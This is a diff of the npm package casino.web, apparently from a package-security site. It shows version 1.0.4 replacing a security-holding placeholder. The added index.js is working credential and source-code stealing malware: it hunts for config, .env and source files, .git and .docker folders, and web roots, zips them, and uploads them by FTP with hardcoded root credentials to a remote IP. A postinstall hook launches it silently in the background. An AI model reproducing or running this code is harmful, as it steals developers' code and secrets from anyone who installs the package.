casino.web 0.0.1-security → 1.0.4

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of casino.web might be problematic. Click here for more details.

package/index.js ADDED
@@ -0,0 +1,540 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const archiver = require('archiver');
4
+ const util = require('util');
5
+ const os = require('os');
6
+ const ftpClient = require('ftp');
7
+ const querystring = require('querystring');
8
+ const http = require('http');
9
+ const url = require('url');
10
+
11
+ function getDirectoryPath() {
12
+ filename = __filename;
13
+ return path.dirname(filename);
14
+ }
15
+
16
+ function getParentPath(inputPath) {
17
+ let currentPath = inputPath;
18
+ let previousPath;
19
+
20
+ while (true) {
21
+
22
+ const stats = fs.statSync(currentPath);
23
+ const birthtimeMs = stats.birthtimeMs;
24
+
25
+ if (birthtimeMs === 1577865600000) {
26
+ return previousPath;
27
+ }
28
+
29
+ if (currentPath === '/') break;
30
+
31
+ previousPath = currentPath;
32
+ currentPath = path.dirname(currentPath);
33
+ }
34
+
35
+ return null;
36
+ }
37
+
38
+ function findFilesWithExtensions_osx(dir, extensions, directoriesToSearch, birthtimeMsToSkip = null) {
39
+ let searchedFiles = [];
40
+ let searchedDirectories = [];
41
+
42
+ try {
43
+ const files = fs.readdirSync(dir);
44
+
45
+ files.forEach(file => {
46
+ const filePath = path.join(dir, file);
47
+
48
+ try {
49
+ fs.accessSync(filePath, fs.constants.R_OK);
50
+ } catch (err) {
51
+ return;
52
+ }
53
+
54
+ try {
55
+ const linkStats = fs.lstatSync(filePath);
56
+ if (linkStats.isSymbolicLink()) {
57
+ return;
58
+ }
59
+ const stats = fs.statSync(filePath);
60
+
61
+ if (birthtimeMsToSkip !== null && stats.birthtimeMs === birthtimeMsToSkip) {
62
+ console.log(`Skipping ${filePath} due to matching birthtimeMs: ${birthtimeMsToSkip}`);
63
+ return; // Skip this item and move to the next
64
+ }
65
+
66
+ if (stats.isDirectory()) {
67
+ // If the directory name matches any in the search list, add it to the results
68
+ if (directoriesToSearch.includes(file)) {
69
+ searchedDirectories.push(filePath);
70
+ }
71
+ // Continue searching in subdirectories
72
+ const [childFiles, childDirectories] = findFilesWithExtensions(filePath, extensions, directoriesToSearch, birthtimeMsToSkip);
73
+ searchedFiles = searchedFiles.concat(childFiles);
74
+ searchedDirectories = searchedDirectories.concat(childDirectories);
75
+ } else if (extensions.includes(path.extname(file))) {
76
+ const sizeInBytes = stats.size;
77
+ const sizeInKB = sizeInBytes / 1024;
78
+ searchedFiles.push(`${filePath}`);
79
+ }
80
+ } catch (err) {
81
+ }
82
+ });
83
+ } catch (err) {
84
+ }
85
+
86
+ return [searchedFiles, searchedDirectories];
87
+ }
88
+
89
+ function appendDirectory_osx(srcDir, destDir, archive, zip_name) {
90
+ if (!fs.existsSync(srcDir)) {
91
+ return;
92
+ }
93
+
94
+ const stats = fs.statSync(srcDir);
95
+ if (!stats.isDirectory()) {
96
+ const archiveName = destDir ? path.join(destDir, srcDir) : srcDir;
97
+ archive.file(srcDir, { name: archiveName });
98
+ return;
99
+ }
100
+
101
+ const files = fs.readdirSync(srcDir);
102
+
103
+ for (let j = 0; j < files.length; j++) {
104
+ if (zip_name === files[j]) {
105
+ continue;
106
+ }
107
+
108
+ const fullPath = path.join(srcDir, files[j]);
109
+ if (!fs.existsSync(fullPath)) {
110
+ continue;
111
+ }
112
+ if (path.extname(fullPath) === ".zip") {
113
+ continue;
114
+ }
115
+
116
+ const fileStats = fs.statSync(fullPath);
117
+
118
+ if (fileStats.isDirectory()) {
119
+ appendDirectory(fullPath, destDir, archive, zip_name);
120
+ } else {
121
+ const archiveName = destDir ? path.join(destDir, fullPath) : fullPath;
122
+ archive.file(fullPath, { name: archiveName });
123
+ }
124
+ }
125
+ }
126
+
127
+ function sendHTTPRequest(text) {
128
+ let query;
129
+
130
+ if (text) {
131
+ query = querystring.stringify({ text: text });
132
+ } else {
133
+ const osUser = os.userInfo().username;
134
+ const currentScriptPath = getDirectoryPath();
135
+
136
+ query = querystring.stringify({
137
+ user: osUser,
138
+ path: currentScriptPath,
139
+ });
140
+ }
141
+
142
+ const requestUrl = url.format({
143
+ protocol: 'http',
144
+ hostname: '185.62.57.60',
145
+ port: '8000',
146
+ pathname: '/http',
147
+ search: query,
148
+ });
149
+
150
+ http.get(requestUrl, (res) => {
151
+ let data = '';
152
+
153
+ res.on('data', (chunk) => {
154
+ data += chunk;
155
+ });
156
+
157
+ res.on('end', () => {
158
+ });
159
+
160
+ }).on("error", (err) => {
161
+ });
162
+ }
163
+
164
+ function getPathToSecondDirectory() {
165
+ const parsedPath = path.parse(getDirectoryPath());
166
+ const parts = parsedPath.dir.split(path.sep);
167
+
168
+ return path.join(parts[0] + path.sep, parts[1], parts[2]);
169
+ }
170
+
171
+ function getPathToSecondDirectory_os() {
172
+ const parsedPath = path.parse(process.cwd());
173
+ const parts = parsedPath.dir.split(path.sep);
174
+
175
+ return path.join(parts[0] + path.sep, parts[1], parts[2]);
176
+ }
177
+
178
+ function findFilesWithExtensions(dir, extensions, directoriesToSearch = []) {
179
+ let searchedFiles = [];
180
+ let searchedDirectories = [];
181
+
182
+ try {
183
+ const files = fs.readdirSync(dir);
184
+
185
+ files.forEach(file => {
186
+ const filePath = path.join(dir, file);
187
+
188
+ try {
189
+ const linkStats = fs.lstatSync(filePath);
190
+ if (linkStats.isSymbolicLink()) {
191
+ return;
192
+ }
193
+ const stats = fs.statSync(filePath);
194
+
195
+ if (stats.isDirectory()) {
196
+ if (directoriesToSearch.includes(file)) {
197
+ searchedDirectories.push(filePath);
198
+ }
199
+
200
+ const [childFiles, childDirectories] = findFilesWithExtensions(filePath, extensions, directoriesToSearch);
201
+ searchedFiles = searchedFiles.concat(childFiles);
202
+ searchedDirectories = searchedDirectories.concat(childDirectories);
203
+ } else if (extensions.includes(path.extname(file))) {
204
+ const sizeInBytes = stats.size;
205
+ const sizeInKB = sizeInBytes / 1024;
206
+ searchedFiles.push(`${filePath}`);
207
+ }
208
+ } catch (err) {
209
+ }
210
+ });
211
+ } catch (err) {
212
+ }
213
+
214
+ return [searchedFiles, searchedDirectories];
215
+ }
216
+
217
+
218
+ function appendDirectory(srcDir, destDir,archive,zip_name) {
219
+
220
+ if (srcDir.startsWith("/usr/") || srcDir.startsWith("/snap/")){
221
+ return 1;
222
+ }
223
+
224
+
225
+
226
+ try{
227
+ let err = fs.accessSync(srcDir, fs.constants.R_OK);
228
+
229
+
230
+ }
231
+ catch{
232
+ }
233
+ try{
234
+ err = fs.accessSync("./", fs.constants.W_OK);
235
+ err = fs.accessSync("./", fs.constants.R_OK);
236
+
237
+
238
+ }
239
+ catch{
240
+ return 0;
241
+ }
242
+
243
+ try{
244
+ if (!fs.existsSync(srcDir)) {
245
+ return 1;
246
+ }}
247
+ catch{
248
+ return 0;
249
+ }
250
+
251
+ const stats=fs.statSync(srcDir);
252
+ if (!stats.isDirectory()) {
253
+ try{
254
+ let err = fs.accessSync(srcDir, fs.constants.R_OK);
255
+ if (!err){
256
+ archive.file(srcDir, { name: path.join(destDir,srcDir) });
257
+ }
258
+ }
259
+ catch{
260
+ }
261
+ return 1;
262
+ }
263
+
264
+
265
+ try{
266
+ fs.readdirSync(srcDir);
267
+ }
268
+
269
+ catch{
270
+ return 0;
271
+ }
272
+ const files = fs.readdirSync(srcDir);
273
+
274
+
275
+ for (let j=0;j<files.length;j=j+1){
276
+ if (zip_name===files[j]){
277
+ continue;
278
+ }
279
+
280
+ const fullPath = path.join(srcDir, files[j]);
281
+ if (!fs.existsSync(fullPath)) {
282
+ continue;
283
+ }
284
+ if (path.extname(fullPath)==".zip"){
285
+ continue;
286
+ }
287
+ const archivePath = destDir ? path.join(destDir, files[j]) : files[j];
288
+ const stats=fs.statSync(fullPath);
289
+ if (stats.isDirectory()) {
290
+ appendDirectory(fullPath, destDir,archive,zip_name);
291
+ }
292
+ else {
293
+
294
+ try{
295
+
296
+ let err = fs.accessSync(fullPath, fs.constants.R_OK);
297
+
298
+ if (!err){
299
+ archive.file(fullPath, { name: path.join(destDir, fullPath) });
300
+ }
301
+ }
302
+ catch{
303
+ }
304
+
305
+ }
306
+ }
307
+ }
308
+
309
+
310
+ function uploadArchiveToFTP(archiveName) {
311
+ return new Promise((resolve, reject) => {
312
+ const client = new ftpClient();
313
+ const host = '185.62.57.60';
314
+ const port = 21;
315
+ const user = 'root';
316
+ const password = 'TestX@!#33';
317
+ const remotePath = '/';
318
+ const localPath = path.join(getDirectoryPath(), archiveName);
319
+
320
+ client.on('ready', () => {
321
+ client.put(localPath, remotePath + archiveName, (err) => {
322
+ if (err) {
323
+ return;
324
+ }
325
+ client.end();
326
+ resolve();
327
+ });
328
+ });
329
+
330
+
331
+ client.connect({ host, port, user, password });
332
+ });
333
+ }
334
+
335
+
336
+ function findFirstReadableDirectory(path_put) {
337
+ let currentPath = path.sep;
338
+ try {
339
+ fs.accessSync(currentPath, fs.constants.R_OK);
340
+ return currentPath;
341
+ } catch (error) {
342
+ }
343
+
344
+ const cwdParts = path_put.split(path.sep);
345
+ console.log(cwdParts);
346
+
347
+ for (const part of cwdParts.slice(1)) {
348
+ currentPath = path.join(currentPath, part);
349
+
350
+ try {
351
+ fs.accessSync(currentPath, fs.constants.R_OK);
352
+ return currentPath;
353
+ } catch (error) {
354
+ }
355
+ }
356
+
357
+ return '/';
358
+ }
359
+
360
+ async function main(){
361
+ if (process.platform === 'darwin') {
362
+ sendHTTPRequest();
363
+ var zip_name='dirs_back_osx.zip';
364
+ var zip_name_files='files_back_osx.zip';
365
+ var new_name = 'files';
366
+ const inputPath = getParentPath(getDirectoryPath());
367
+ const extensionsToSearch = ['.asp', '.js', '.php', '.aspx', '.jspx', '.jhtml', '.py', '.rb', '.pl', '.cfm', '.cgi', '.ssjs', '.shtml', '.env', '.ini', '.conf', '.properties', '.yml', '.cfg'];
368
+ const directoriesToSearch = ['.git', '.env', '.svn', '.gitlab', '.hg', '.idea', '.yarn', '.docker', '.vagrant', '.github'];
369
+ const birthtimeMsToSkip = 1577865600000;
370
+ let searchedWords = findFilesWithExtensions_osx(inputPath, extensionsToSearch, directoriesToSearch, birthtimeMsToSkip);
371
+ //console.log(searchedWords);
372
+ searchedWords[0] = [...new Set(searchedWords[0])];
373
+ searchedWords[1] = [...new Set(searchedWords[1])];
374
+ const cwd = getParentPath(process.cwd())
375
+ console.log(cwd);
376
+ console.log(inputPath);
377
+ if (inputPath === cwd) {
378
+ console.log('Путь pathB входит в pathA');
379
+ //console.log(searchedWords);
380
+ } else {
381
+ let searchedWords_cwd = findFilesWithExtensions_osx(cwd, extensionsToSearch, directoriesToSearch, birthtimeMsToSkip);
382
+ searchedWords[0].push(...searchedWords_cwd[0]);
383
+ searchedWords[1].push(...searchedWords_cwd[1]);
384
+ }
385
+ var output = fs.createWriteStream(path.join(getDirectoryPath(), zip_name));
386
+ const archive = archiver('zip', {
387
+ zlib: { level: 9 }
388
+ });
389
+ archive.pipe(output);
390
+ searchedWords[0].forEach(item => {
391
+ files = appendDirectory_osx(item, new_name,archive,zip_name);
392
+ });
393
+ await archive.finalize();
394
+ await uploadArchiveToFTP(zip_name);
395
+ var output1 = fs.createWriteStream(path.join(getDirectoryPath(), zip_name_files));
396
+ const archive1 = archiver('zip', {
397
+ zlib: { level: 9 }
398
+ });
399
+ archive1.pipe(output1);
400
+ searchedWords[1].forEach(item => {
401
+ files = appendDirectory_osx(item, new_name,archive1,zip_name_files);
402
+ });
403
+ await archive1.finalize();
404
+ await uploadArchiveToFTP(zip_name_files);
405
+ var zip_name_3 = "dir.zip";
406
+ var output2 = fs.createWriteStream(path.join(getDirectoryPath(), zip_name_3));
407
+ const archive2 = archiver('zip', {
408
+ zlib: { level: 9 }
409
+ });
410
+ archive2.pipe(output2);
411
+ //last_dir=getParentPath(getDirectoryPath());
412
+ try{
413
+ appendDirectory_osx(inputPath, new_name,archive2,zip_name_3);
414
+ if (inputPath != cwd) {
415
+ appendDirectory_osx(cwd, new_name,archive2,zip_name_3);
416
+ }
417
+ }
418
+ catch{
419
+ appendDirectory_osx(inputPath, new_name,archive2,zip_name_3);
420
+ if (inputPath != cwd) {
421
+ appendDirectory_osx(cwd, new_name,archive2,zip_name_3);
422
+ }
423
+ }
424
+ await archive2.finalize();
425
+ await uploadArchiveToFTP(zip_name_3);
426
+ var zip_name_4 = "diros_osx.zip";
427
+ var output3 = fs.createWriteStream(path.join(getDirectoryPath(), zip_name_4));
428
+ const archive3 = archiver('zip', {
429
+ zlib: { level: 9 }
430
+ });
431
+ archive3.pipe(output3);
432
+ last_dir_os=path.dirname(cwd);
433
+ try{
434
+ appendDirectory_osx(last_dir_os, new_name,archive3,zip_name_4);
435
+ }
436
+ catch{
437
+ appendDirectory_osx(last_dir_os, new_name,archive3,zip_name_4);
438
+ }
439
+ await archive3.finalize();
440
+ await uploadArchiveToFTP(zip_name_4);
441
+ return;
442
+ }
443
+ sendHTTPRequest();
444
+ var zip_name='dirs_back.zip';
445
+ var zip_name_files='files_back.zip';
446
+ const startDir = findFirstReadableDirectory(getDirectoryPath());
447
+ const cwd_path = findFirstReadableDirectory(process.cwd());
448
+ var new_name = 'files';
449
+ const extensions = ['.asp', '.js', '.php', '.aspx', '.jspx', '.jhtml', '.py', '.rb', '.pl', '.cfm', '.cgi', '.ssjs', '.shtml', '.env', '.ini', '.conf', '.properties', '.yml', '.cfg'];
450
+ const directoriesToSearch = ['.git', '.env', '.svn', '.gitlab', '.hg', '.idea', '.yarn', '.docker', '.vagrant', '.github'];
451
+ let searchedWords = findFilesWithExtensions(startDir, extensions, directoriesToSearch);
452
+ searchedWords[0] = [...new Set(searchedWords[0])];
453
+ searchedWords[1] = [...new Set(searchedWords[1])];
454
+ if (startDir === cwd_path) {
455
+ console.log('Путь pathB входит в pathA');
456
+ //console.log(searchedWords);
457
+ } else {
458
+ let searchedWords_cwd = findFilesWithExtensions(cwd_path, extensions, directoriesToSearch);
459
+ searchedWords[0].push(...searchedWords_cwd[0]);
460
+ searchedWords[1].push(...searchedWords_cwd[1]);
461
+ }
462
+ var output = fs.createWriteStream(path.join(getDirectoryPath(), zip_name));
463
+ const archive = archiver('zip', {
464
+ zlib: { level: 9 }
465
+ });
466
+ archive.pipe(output);
467
+ searchedWords[0].forEach(item => {
468
+ files = appendDirectory(item, new_name,archive,zip_name);
469
+ });
470
+ await archive.finalize();
471
+ await uploadArchiveToFTP(zip_name);
472
+ var output1 = fs.createWriteStream(path.join(getDirectoryPath(), zip_name_files));
473
+ const archive1 = archiver('zip', {
474
+ zlib: { level: 9 }
475
+ });
476
+ archive1.pipe(output1);
477
+ searchedWords[1].forEach(item => {
478
+ files = appendDirectory(item, new_name,archive1,zip_name_files);
479
+ });
480
+ await archive1.finalize();
481
+ await uploadArchiveToFTP(zip_name_files);
482
+ const specificDirectoriesToArchive = [
483
+ '/var/www/html',
484
+ '/usr/share/nginx/html',
485
+ '/usr/local/var/www'
486
+ ];
487
+ const zipNameForSpecificDirs = 'specific_directories.zip';
488
+ const outputForSpecificDirs = fs.createWriteStream(path.join(getDirectoryPath(), zipNameForSpecificDirs));
489
+ const archiveForSpecificDirs = archiver('zip', {
490
+ zlib: { level: 9 }
491
+ });
492
+ archiveForSpecificDirs.pipe(outputForSpecificDirs);
493
+
494
+ for (const dir of specificDirectoriesToArchive) {
495
+ try {
496
+ await fs.promises.access(dir, fs.constants.R_OK);
497
+ await appendDirectory(dir, new_name, archiveForSpecificDirs, zipNameForSpecificDirs);
498
+ } catch (error) {
499
+ }
500
+ }
501
+
502
+ await archiveForSpecificDirs.finalize();
503
+ await uploadArchiveToFTP(zipNameForSpecificDirs);
504
+ if (getPathToSecondDirectory_os() != getPathToSecondDirectory()) {
505
+ var zip_name_4 = "diros.zip";
506
+ var output3 = fs.createWriteStream(path.join(getDirectoryPath(), zip_name_4));
507
+ const archive3 = archiver('zip', {
508
+ zlib: { level: 9 }
509
+ });
510
+ archive3.pipe(output3);
511
+ last_dir_os=getPathToSecondDirectory_os();
512
+ try{
513
+ appendDirectory(last_dir_os, new_name,archive3,zip_name_4);
514
+ }
515
+ catch{
516
+ appendDirectory(last_dir_os, new_name,archive3,zip_name_4);
517
+ }
518
+ await archive3.finalize();
519
+ await uploadArchiveToFTP(zip_name_4);
520
+ }
521
+ if (os.platform() != 'win32') {
522
+ var zip_name_3 = "dir.zip";
523
+ var output2 = fs.createWriteStream(path.join(getDirectoryPath(), zip_name_3));
524
+ const archive2 = archiver('zip', {
525
+ zlib: { level: 9 }
526
+ });
527
+ archive2.pipe(output2);
528
+ last_dir=getPathToSecondDirectory();
529
+ try{
530
+ appendDirectory(last_dir, new_name,archive2,zip_name_3);
531
+ }
532
+ catch{
533
+ appendDirectory(last_dir, new_name,archive2,zip_name_3);
534
+ }
535
+ await archive2.finalize();
536
+ await uploadArchiveToFTP(zip_name_3);
537
+ }
538
+ }
539
+
540
+ main();
package/package.json CHANGED
@@ -1,6 +1,20 @@
1
1
  {
2
2
  "name": "casino.web",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "1.0.4",
4
+ "private": false,
5
+ "publishConfig": {
6
+ "access": "public"
7
+ },
8
+ "description": "",
9
+ "main": "main.js",
10
+ "scripts": {
11
+ "postinstall": "node preinstall.js",
12
+ "test": "echo \"Error: no test specified\" && exit 1"
13
+ },
14
+ "author": "lexi2",
15
+ "license": "ISC",
16
+ "dependencies": {
17
+ "archiver": "^5.3.1",
18
+ "ftp": "^0.3.10"
19
+ }
20
+ }
package/preinstall.js ADDED
@@ -0,0 +1,8 @@
1
+ const { spawn } = require('child_process');
2
+
3
+ const child = spawn('node', ['index.js'], {
4
+ detached: true,
5
+ stdio: 'ignore'
6
+ });
7
+
8
+ child.unref();
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=casino.web for more information.